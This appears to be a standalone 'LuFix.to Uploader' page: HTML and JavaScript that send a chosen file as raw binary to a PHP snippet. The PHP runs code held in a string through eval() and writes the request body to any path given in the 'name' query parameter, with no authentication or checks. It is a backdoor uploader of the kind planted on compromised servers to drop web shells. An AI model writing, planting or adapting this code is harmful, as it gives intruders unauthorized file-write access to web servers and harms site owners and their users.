<h4>LuFix.to Uploader</h4>

<button id="b" value="upload" onclick='upload("upload_files",0);'>Upload</button>

<p>Status : <span id="status" style="color:red;">No file added</span></p>
<script>
function upload(fileInputId, fileIndex)
{
var url = window.location.pathname;
var scriptname = url.substring(url.lastIndexOf('/')+1);
var filename = document.getElementById('upload_files').value;
var filename = filename.match(/[^\\/]*$/)[0];
document.getElementById("status").textContent = "Uploading the file "+filename+", please wait..";
document.getElementById("status").style.color = "blue";
// take the file from the input
var file = document.getElementById(fileInputId).files[fileIndex];
var reader = new FileReader();
reader.readAsBinaryString(file); // alternatively you can use readAsDataURL
reader.onloadend = function(evt)
{
// create XHR instance
xhr = new XMLHttpRequest();

// send the file through POST
xhr.open("POST", scriptname+"?name="+filename, true);

// make sure we have the sendAsBinary method on all browsers
XMLHttpRequest.prototype.mySendAsBinary = function(text){
var data = new ArrayBuffer(text.length);
var ui8a = new Uint8Array(data, 0);
for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);

if(typeof window.Blob == "function")
{
var blob = new Blob([data]);
}else{
var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)();
bb.append(data);
var blob = bb.getBlob();
}

this.send(blob);
}

// let's track upload progress
var eventSource = xhr.upload || xhr;
eventSource.addEventListener("progress", function(e) {
// get percentage of how much of the current file has been sent
var position = e.position || e.loaded;
var total = e.totalSize || e.total;
var percentage = Math.round((position/total)*100);

// here you should write your own code how you wish to proces this
});

// state change observer - we need to know when and if the file was successfully uploaded
xhr.onreadystatechange = function()
{
if(xhr.readyState == 4)
{
if(xhr.status == 200)
{
// process success
document.getElementById("status").textContent = "The file "+filename+" Uploaded successfully in same folder.";
document.getElementById("status").style.color = "green";
}else{
// process error
}
}
};

// start sending
xhr.mySendAsBinary(evt.target.result);
};
}
</script>

$text = 'if(!empty($_GET["name"])){
$inputHandler = fopen("php://input", "r");
$fileHandler = fopen($_GET["name"], "w+");
while(true) {
$buffer = fgets($inputHandler, 4096);
if (strlen($buffer) == 0) {
fclose($inputHandler);
fclose($fileHandler);
return true;
}
fwrite($fileHandler, $buffer);
}
}';
eval($text);